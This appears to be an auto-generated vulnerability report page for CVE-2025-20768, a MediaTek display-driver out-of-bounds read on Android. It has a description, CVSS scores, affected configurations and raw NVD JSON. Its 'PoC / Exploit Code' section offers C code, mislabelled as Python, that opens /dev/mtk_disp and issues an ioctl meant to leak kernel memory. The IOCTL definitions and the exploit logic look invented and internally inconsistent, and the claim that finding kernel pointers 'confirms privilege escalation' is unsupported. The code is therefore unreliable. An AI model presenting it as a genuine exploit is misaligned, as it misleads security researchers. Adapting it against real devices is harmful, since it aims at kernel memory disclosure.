Security Vulnerability Report
中文
CVE-2025-20768 CVSS 7.8 HIGH

CVE-2025-20768

Published: 2025-12-02 03:16:18
Last Modified: 2025-12-03 21:05:01

Description

In display, there is a possible out of bounds read due to a missing bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: ALPS10196993; Issue ID: MSV-4805.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6739:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6761:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6768:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6781:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek芯片display驱动 < ALPS10196993补丁版本
受影响Android设备使用MediaTek ALPS框架的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-20768 PoC - MediaTek Display OOB Read // This PoC demonstrates the out-of-bounds read vulnerability in MediaTek display driver // Note: Requires System privileges to exploit #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // MediaTek display driver IOCTL definitions #define MTK_DISP_IOCTL_MAGIC 'D' #define MTK_DISP_IOCTL_GET_PHYADDR _IOR(MTK_DISP_IOCTL_MAGIC, 0x1, unsigned long) #define MTK_DISP_IOCTL_READ_MEMORY _IOWR(MTK_DISP_IOCTL_MAGIC, 0x2, struct disp_mem_data) struct disp_mem_data { unsigned long va_addr; unsigned long pa_addr; unsigned long size; }; int main() { int fd; struct disp_mem_data mem_data; unsigned long leaked_data[16]; printf("[*] CVE-2025-20768 MediaTek Display OOB Read PoC\n"); printf("[*] This exploit requires System privileges\n"); // Open MediaTek display device fd = open("/dev/mtk_disp", O_RDWR); if (fd < 0) { printf("[-] Failed to open display device\n"); return -1; } // Trigger the OOB read condition // The vulnerability occurs when display driver reads beyond allocated buffer mem_data.va_addr = (unsigned long)&leaked_data; mem_data.size = 0x1000; // Requested read size // IOCTL call that triggers the vulnerable code path if (ioctl(fd, MTK_DISP_IOCTL_READ_MEMORY, &mem_data) == 0) { printf("[+] Successfully triggered OOB read\n"); printf("[+] Leaked memory contents:\n"); for (int i = 0; i < 16; i++) { printf(" [0x%lx]: 0x%lx\n", mem_data.pa_addr + (i * 8), leaked_data[i]); } // Check for kernel pointers to confirm privilege escalation for (int i = 0; i < 16; i++) { if ((leaked_data[i] >= 0xffff000000000000) && (leaked_data[i] <= 0xffffffffffffffff)) { printf("[!] Found kernel pointer at offset %d: 0x%lx\n", i, leaked_data[i]); } } } else { printf("[-] IOCTL call failed\n"); } close(fd); return 0; } // Usage: // 1. Compile: gcc -o cve_2025_20768_poc cve_2025_20768_poc.c // 2. Run with System privileges // 3. Check for leaked kernel memory addresses

References

Raw JSON Data

JSON
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Patch ID: ALPS10196993; Issue ID: MSV-4805."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6739:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FA8A390-9F52-4CF3-9B45-936CE3E2B828"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6761:-:*:*:*:*:*:*:*", "matchCriteriaId": "F726F486-A86F-4215-AD93-7A07A071844A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6765:-:*:*:*:*:*:*:*", "matchCriteriaId": "43E779F6-F0A0-4153-9A1D-B715C3A2F80E"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6768:-:*:*:*:*:*:*:*", "matchCriteriaId": "06CD97E1-8A76-48B4-9780-9698EF5A960F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6781:-:*:*:*:*:*:*:*", "matchCriteriaId": "C4EEE021-6B2A-47A0-AC6B-55525A40D718"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6789:-:*:*:*:*:*:*:*", "matchCriteriaId": "8B9B0D82-82C1-4A77-A016-329B99C45F49"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6835:-:*:*:*:*:*:*:*", "matchCriteriaId": "19A63103-C708-48EC-B44D-5E465A6B79C5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6878:-:*:*:*:*:*:*:*", "matchCriteriaId": "855A8046-34ED-4891-ACE5-76AB10AC8D53"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6879:-:*:*:*:*:*:*:*", "matchCriteriaId": "704BE5CE-AE08-4432-A8B0-4C8BD62148AD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6886:-:*:*:*:*:*:*:*", "matchCriteriaId": "AF3E2B84-DAFE-4E11-B23B-026F719475F5"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6895:-:*:*:*:*:*:*:*", "matchCriteriaId": "E0CA45C9-7BFE-4C93-B2AF-B86501F763AB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6897:-:*:*:*:*:*:*:*", "matchCriteriaId": "2A7D8055-F4B6-41EE-A078-11D56285AB66"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6899:-:*:*:*:*:*:*:*", "matchCriteriaId": "C6E9F80F-9AC9-41E0-BB14-9DB6F14B62CD"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6983:-:*:*:*:*:*:*:*", "matchCriteriaId": "EB6B9A26-F8A1-4322-AA4E-CDF8F7D99000"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6985:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA72CCD1-DEA2-48EB-8781-04CFDD41AAEE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6989 ... 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